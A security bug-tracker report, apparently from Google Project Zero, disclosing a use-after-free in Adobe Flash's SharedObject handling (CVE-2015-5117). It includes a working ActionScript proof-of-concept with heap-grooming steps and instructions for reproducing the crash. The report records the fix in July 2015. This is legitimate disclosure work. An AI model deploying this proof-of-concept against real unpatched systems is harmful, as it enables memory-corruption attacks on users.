New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users
Status: Fixed
Owner:
Email to this user bounced
Closed: Jul 2015
Cc:



Sign in to add a comment
Use-after-free when setting internal boolean
Project Member Reported by natashenka@google.com, May 1 2015 Back to list
In certain cases where a native AS2 class sets an internal atom to a Boolean, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting NetConnection.isConnected, this applies to a few other variables in NetConnection, NetStream and other classes.

A proof of concept is as follows:

var s = SharedObject.getLocal("test");
ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var o = {myprop: "natalie"};
s.data.isConnected = o;
flush();
ASnative(2100, 200)(s.data);
trace(s.data.isConnected);
var n = new NetConnection();
n.connect.call(s.data, x);
n.close.call(s.data);
trace(s.data.isConnected);
s = 1;

for(var i = 0; i < 100; i++){
	var b = new flash.display.BitmapData(100, 1000, true, 1000);
	}
setInterval(c, 1000);
function c(){	
	trace("here");
	ASnative(252, 1).call(o); //Array push
}

A fla, an AS file and two swfs are attached. setboolean.fla compiles to setboolean.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and setboolean.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. 

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 
loadswf.swf
1.5 KB Download
setboolean.swf
977 bytes Download
setboolean.fla
4.9 KB Download
loadswf.as
1.9 KB Download
Project Member Comment 1 by natashenka@google.com, May 4 2015
Labels: -Reported-2015-May-1 Reported-2015-May-4
Project Member Comment 2 by natashenka@google.com, May 5 2015
This is PSIRT-3650
Comment 3 by cevans@google.com, Jul 5 2015
Labels: CVE-2015-5117
Comment 4 by cevans@google.com, Jul 9 2015
Labels: Fixed-2015-Jul-8
Status: Fixed
Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html
Project Member Comment 5 by natashenka@google.com, Aug 3 2015
Labels: -Restrict-View-Commit
Sign in to add a comment